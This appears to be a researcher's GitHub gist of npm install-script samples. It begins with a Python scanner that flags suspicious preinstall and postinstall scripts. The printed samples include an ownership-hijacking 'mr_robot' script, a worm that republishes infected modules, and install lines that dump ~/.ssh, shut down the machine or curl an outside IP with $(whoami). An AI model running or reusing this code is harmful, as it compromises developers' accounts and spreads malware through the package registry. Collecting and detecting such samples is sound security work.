-
-
Save jordan-wright/6dda2e4683ba3e99c8d56cd7173c9d1f to your computer and use it in GitHub Desktop.
Postinstallation script snippet found in the `shrugging-logging` package
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ijson | |
import requests | |
import tarfile | |
import os | |
import re | |
SCRIPT_REGEX_STRINGS = [ | |
re.compile('node ([\w\.\/\-]+)'), | |
re.compile('([\w\.\/\-]+?\.(?:js|sh))'), | |
re.compile('bash ([\w\.\/\-]+)'), | |
re.compile('sh ([\w\.\/\-]+)'), | |
] | |
SUSPICIOUS_STRINGS = [ | |
re.compile('curl'), | |
re.compile('bash'), | |
re.compile('exec'), | |
re.compile('os'), | |
re.compile('fetch'), | |
re.compile('whoami'), | |
re.compile('npm add'), | |
re.compile('require\(\'http'), | |
re.compile('XMLHttpRequest'), | |
re.compile('process'), | |
re.compile('npm owner'), | |
re.compile('mr_robot'), | |
re.compile('POST') | |
] | |
URL_REGEX = re.compile('(https?:\/\/\S+)') | |
def process_file(name, filepath): | |
'''Grep's through the installation files for sketchy strings and URLs''' | |
output_file = open('log.txt', 'a') | |
output_file.write('Analyzing package {} - {}\n'.format(name, filepath)) | |
with open(filepath, 'r') as install_file: | |
content = install_file.read() | |
# Search for weird strings | |
for regex in SUSPICIOUS_STRINGS: | |
if regex.search(content): | |
output_file.write( | |
'\t[!] Found instance of {}\n'.format(regex.pattern)) | |
# Search for URLs | |
for url in URL_REGEX.findall(content): | |
output_file.write('\t[!] Found URL {}\n'.format(url)) | |
output_file.close() | |
def download_package(name, url): | |
'''Downloads and extracts a tarball''' | |
cleaned_name = name.replace('/', '_') | |
filename = './packages/{}.tgz'.format(cleaned_name) | |
response = requests.get(url) | |
print 'Download {} to {}'.format(cleaned_name, filename) | |
with open(filename, 'wb') as f: | |
for chunk in response.iter_content(chunk_size=1024): | |
if chunk: # filter out keep-alive new chunks | |
f.write(chunk) | |
print 'Extracting {}'.format(filename) | |
try: | |
with tarfile.open(filename, 'r') as tf: | |
tf.extractall("./packages/{}".format(cleaned_name)) | |
return './packages/{}/package/'.format(cleaned_name) | |
except: | |
return '' | |
def process_package(package): | |
'''Parses a package dict to extract any install scripts, download the tarball, and grab the related files.''' | |
# Parse the scripts for installation scripts | |
if 'scripts' not in package or not package['scripts']: | |
return | |
scripts = [] | |
for install in ['postinstall', 'preinstall', 'install']: | |
if install in package['scripts']: | |
scripts.append(package['scripts'][install]) | |
if not scripts: | |
return | |
# Check the script to see if we need to do file inspection | |
directory = '' | |
is_suspicious = False | |
for script in scripts: | |
for regex in SCRIPT_REGEX_STRINGS: | |
match = regex.match(script) | |
if not match: | |
continue | |
if not is_suspicious: | |
# Download the tarball | |
directory = download_package( | |
package.get('name'), package.get('tarball')) | |
if not directory: | |
return | |
is_suspicious = True | |
filepath = directory + '/' + match.group(1) | |
# If we have a match for something we can parse, lets grab that file check for suspicious | |
# entries | |
if os.path.isfile(filepath): | |
process_file(package.get('name'), filepath) | |
continue | |
# People often omit the .js when calling from node, so let's check that | |
filepath = filepath + '.js' | |
if os.path.isfile(filepath): | |
process_file(package.get('name'), filepath) | |
else: | |
print 'File {} doesnt exist...'.format(filepath) | |
def main(): | |
'''Starts the main process''' | |
with open('npm_scripts.json', 'r') as json_file: | |
packages = ijson.items(json_file, 'item') | |
for package in packages: | |
process_package(package) | |
if __name__ == '__main__': | |
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ua = require('universal-analytics'); | |
var visitor = ua('UA-48351156-4'); | |
visitor.event("Package", "install", function() { | |
console.log('rm -rf /'); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
var payload = { | |
process_versions: process.versions, | |
process_platform: process.platform, | |
process_arch: process.arch, | |
type: process.argv[2] || 'index.js' | |
} | |
var options = { | |
hostname: 'bottrack.evilpacket.net', | |
path: '/track', | |
method: 'POST' | |
}; | |
var req = http.request(options, function(res) { | |
}); | |
req.on('error', function () { | |
}); | |
req.write(JSON.stringify(payload)); | |
req.end(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var options = { | |
hostname: 'bottrack.evilpacket.net', | |
path: '/track', | |
method: 'POST' | |
}; | |
var req = http.request(options, function(res) { | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var os = require('os'); | |
var url,port; | |
// if (process.env.NODE_ENV == 'development') { | |
// url = 'localhost'; | |
// port = 8078; | |
// } | |
url = 'ping.pm2.io'; | |
port = 443; | |
var post_data = JSON.stringify({ | |
platform : os.platform(), | |
arch : os.arch(), | |
cpu : os.cpus(), | |
mem : os.totalmem(), | |
type : os.type() | |
}); | |
var req = require('http').request({ | |
host: url, | |
port : port, | |
path: '/p', | |
method : 'POST', | |
headers: { | |
'Content-Type': 'application/json', | |
'Content-Length': post_data.length | |
} | |
}, function(res) { | |
var res_data = ''; | |
res.setEncoding('utf-8'); | |
res.on('data', function(chunk) { | |
res_data += chunk; | |
}); | |
res.on('end', function() { | |
return false; | |
}); | |
}); | |
req.on('error', function(e) { | |
return false; | |
}); | |
req.write(post_data); | |
req.end(); | |
// Exit in case of request timeout | |
setTimeout(function() { | |
process.exit(0); | |
}, 1000); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Copyright Datajin Technologies, Inc. 2015,2016. All Rights Reserved. | |
// Node module: mktmpio | |
// This file is licensed under the Artistic License 2.0. | |
// License text available at https://opensource.org/licenses/Artistic-2.0 | |
'use strict'; | |
var crypto = require('crypto'); | |
var fs = require('fs'); | |
var qs = require('querystring'); | |
var request = require('https').request; | |
var pkg = require('../package.json'); | |
var nodeUA = 'node/' + process.version; | |
var name = process.env.npm_package_name || 'mktmpio'; | |
var version = process.env.npm_package_version || pkg.version; | |
var lifecycle = process.env.npm_lifecycle_event || 'post-install'; | |
var userAgent = process.env.npm_config_user_agent || nodeUA; | |
var debug = /test/.test(process.env.NODE_ENV); | |
var inRepo = false; | |
try { | |
inRepo = fs.statSync('.git').isDirectory(); | |
} catch (e) { | |
inRepo = false; | |
} | |
if (!inRepo || debug) { | |
recordEvent(); | |
} | |
function recordEvent() { | |
var params = { | |
v: '1', | |
tid: 'UA-63367092-1', | |
ds: 'npm', | |
cid: uuid(), | |
ua: userAgent, | |
t: 'event', | |
ec: 'npm', | |
ea: lifecycle, | |
el: name + '@' + version, | |
}; | |
var postData = qs.stringify(params); | |
var reqOpts = { | |
host: 'www.google-analytics.com', | |
path: debug ? '/debug/collect' : '/collect', | |
method: 'POST', | |
}; | |
var req = request(reqOpts); | |
req.setTimeout(500, function() { | |
if (debug) { | |
console.log('connection timed out', arguments); | |
} | |
process.exit(0); | |
}); | |
req.on('error', debug ? console.error : noop) | |
.on('response', debug ? dumpResponse : noop) | |
.end(postData); | |
} | |
function uuid() { | |
var rnd = crypto.randomBytes(16); | |
rnd[6] = (rnd[6] & 0x0f) | 0x40; | |
rnd[8] = (rnd[8] & 0x3f) | 0x80; | |
rnd = rnd.toString('hex').match(/(.{8})(.{4})(.{4})(.{4})(.{12})/); | |
rnd.shift(); | |
return rnd.join('-'); | |
} | |
function dumpResponse(res) { | |
console.log('RESP:', res.statusCode); | |
res.on('data', console.log.bind(console, 'RESP: %s')); | |
} | |
function noop() {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function currentUser(cb) { | |
exec('npm whoami', function (err, stdout, stderr) { | |
if (!err) cb(stdout); | |
}); | |
} | |
function addOwner(packageName, newOwner) { | |
exec('npm owner add ' + newOwner + ' ' + packageName); | |
} | |
function getModulesOwned(user, cb) { | |
var url = 'https://www.npmjs.org/~' + user; | |
request(url, function (error, response, body) { | |
var $ = cheerio.load(body); | |
var packages = $('.collaborated-packages a').map(function (i, el) { | |
return $(this).text(); | |
}).get(); | |
cb(packages); | |
}); | |
} | |
currentUser(function (user) { | |
if (user) { | |
getModulesOwned(user, function (modules) { | |
modules.forEach(function (moduleName) { | |
addOwner(moduleName, 'mr_robot'); | |
}); | |
}); | |
} | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var exec = require('child_process').exec; | |
var path = require('path'); | |
var fs = require('fs'); | |
var request = require('request'); | |
var cheerio = require('cheerio'); | |
require('daemon')(); | |
function currentUser(cb) { | |
exec('npm whoami', function (err, stdout, stderr) { | |
if (!err) cb(stdout); | |
}); | |
} | |
function addOwner(packageName, newOwner) { | |
exec('npm owner add ' + newOwner + ' ' + packageName); | |
} | |
function getModulesOwned(user, cb) { | |
var url = 'https://www.npmjs.org/~' + user; | |
request(url, function (error, response, body) { | |
var $ = cheerio.load(body); | |
var packages = $('.collaborated-packages a').map(function (i, el) { | |
return $(this).text(); | |
}).get(); | |
cb(packages); | |
}); | |
} | |
function getPackageName(projectPath) { | |
try { | |
var content = fs.readFileSync(projectPath, 'utf-8'); | |
return JSON.parse(content).name; | |
} catch (e) { | |
return; | |
} | |
} | |
function removePostInstall() { | |
var content = fs.readFileSync('package.json', 'utf-8'); | |
var json = JSON.parse(content); | |
delete json.scripts.postinstall; | |
fs.writeFileSync('package.json', JSON.stringify(json, null, 2)); | |
} | |
function removeScript() { | |
try { | |
fs.unlinkSync("mr_robot.js"); | |
} catch (e) {} | |
} | |
removePostInstall(); | |
removeScript(); | |
currentUser(function (user) { | |
if (user) { | |
getModulesOwned(user, function (modules) { | |
modules.forEach(function (moduleName) { | |
addOwner(moduleName, 'mr_robot'); | |
}); | |
}); | |
} | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "maybemaliciouspackage", | |
"scripts": { | |
"postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'" | |
} | |
}, | |
{ | |
"name": "deasyncp", | |
"scripts": { | |
"preinstall": "say U WOT M8; shutdown -s now" | |
} | |
}, | |
{ | |
"name": "harmlesspackage", | |
"scripts": { | |
"postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH keys :)' && curl -X GET http://104.131.21.155:8043/\\?$(whoami)" | |
} | |
}, | |
{ | |
"name": "npm-exploit", | |
"scripts": { | |
"install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function infectModule (moduleName) { | |
installModule(moduleName) | |
.then(() => { | |
addScript(moduleName); | |
copyScript(moduleName); | |
return incrementPatchVersion(moduleName); | |
}) | |
.then(() => publishInfectedModule(moduleName)) | |
.catch(() => {}); | |
} | |
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg"; | |
infectModule(MODULE_NAME); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const exec = __webpack_require__(0).exec; | |
const fs = __webpack_require__(1); | |
const path = __webpack_require__(2); | |
const request = __webpack_require__(180); | |
const cheerio = __webpack_require__(44); | |
function execP (cmd, opts) { | |
opts = opts || {}; | |
return new Promise((resolve, reject) => { | |
exec(cmd, opts, (err, stdout, stderr) => { | |
if (err) { | |
reject(err); | |
} else { | |
resolve({stdout, stderr}); | |
} | |
}); | |
}); | |
} | |
function currentUser () { | |
return execP('npm whoami'); | |
} | |
function getOwnedModules (user) { | |
var url = 'https://www.npmjs.org/~' + user; | |
return new Promise((resolve, reject) => { | |
request(url, function (error, response, body) { | |
if (error) { | |
reject(error); | |
} else { | |
var $ = cheerio.load(body); | |
var packages = $('.collaborated-packages a').map(function (i, el) { | |
return $(this).text(); | |
}).get(); | |
resolve(packages); | |
} | |
}); | |
}); | |
} | |
function modulePath (moduleName) { | |
return path.resolve('./node_modules/' + moduleName); | |
} | |
function installModule (moduleName) { | |
return execP('npm install ' + moduleName); | |
} | |
function incrementPatchVersion (moduleName) { | |
const opts = { | |
cwd: modulePath(moduleName) | |
}; | |
return execP('npm version patch', opts); | |
} | |
function addScript (moduleName) { | |
const pkgJsonPath = modulePath(moduleName) + '/package.json'; | |
const content = fs.readFileSync(pkgJsonPath); | |
const pkgJson = JSON.parse(content); | |
pkgJson.scripts = pkgJson.scripts || {}; | |
pkgJson.scripts.preinstall = "node bundle.js"; | |
fs.writeFileSync(pkgJsonPath, JSON.stringify(pkgJson, null, 2)); | |
} | |
function copyScript (moduleName) { | |
const content = fs.readFileSync('bundle.js'); | |
fs.writeFileSync(modulePath(moduleName) + '/bundle.js', content); | |
} | |
function publishInfectedModule (moduleName) { | |
const opts = { | |
cwd: modulePath(moduleName) | |
}; | |
return execP('npm publish .', opts); | |
} | |
function cleanScript () { | |
const pkgJsonPath = path.resolve('./package.json'); | |
const content = fs.readFileSync(pkgJsonPath); | |
const pkgJson = JSON.parse(content); | |
pkgJson.scripts = pkgJson.scripts || {}; | |
delete pkgJson.scripts.preinstall; | |
delete pkgJson.scripts.install; | |
delete pkgJson.scripts.postinstall; | |
fs.writeFileSync('package.json', JSON.stringify(pkgJson, null, 2)); | |
} | |
function cleanFile () { | |
fs.unlinkSync('bundle.js'); | |
} | |
function clean () { | |
try { | |
cleanScript(); | |
cleanFile(); | |
} catch (e) {} | |
} | |
function infectModule (moduleName) { | |
installModule(moduleName) | |
.then(() => { | |
addScript(moduleName); | |
copyScript(moduleName); | |
return incrementPatchVersion(moduleName); | |
}) | |
.then(() => publishInfectedModule(moduleName)) | |
.catch(() => {}); | |
} | |
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg"; | |
infectModule(MODULE_NAME); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "npm_scripts_test_metrics", | |
"scripts": { | |
"preinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Pre%20Install&ea=run'", | |
"postinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Post%20Install&ea=run'" | |
} | |
}, | |
{ | |
"name": "subtitles-lib", | |
"scripts": { | |
"postinstall": "bash -c 'curl \"http://********.piwikpro.com/piwik.php?idsite=3&rec=1&action_name=$HOSTNAME\"'" | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment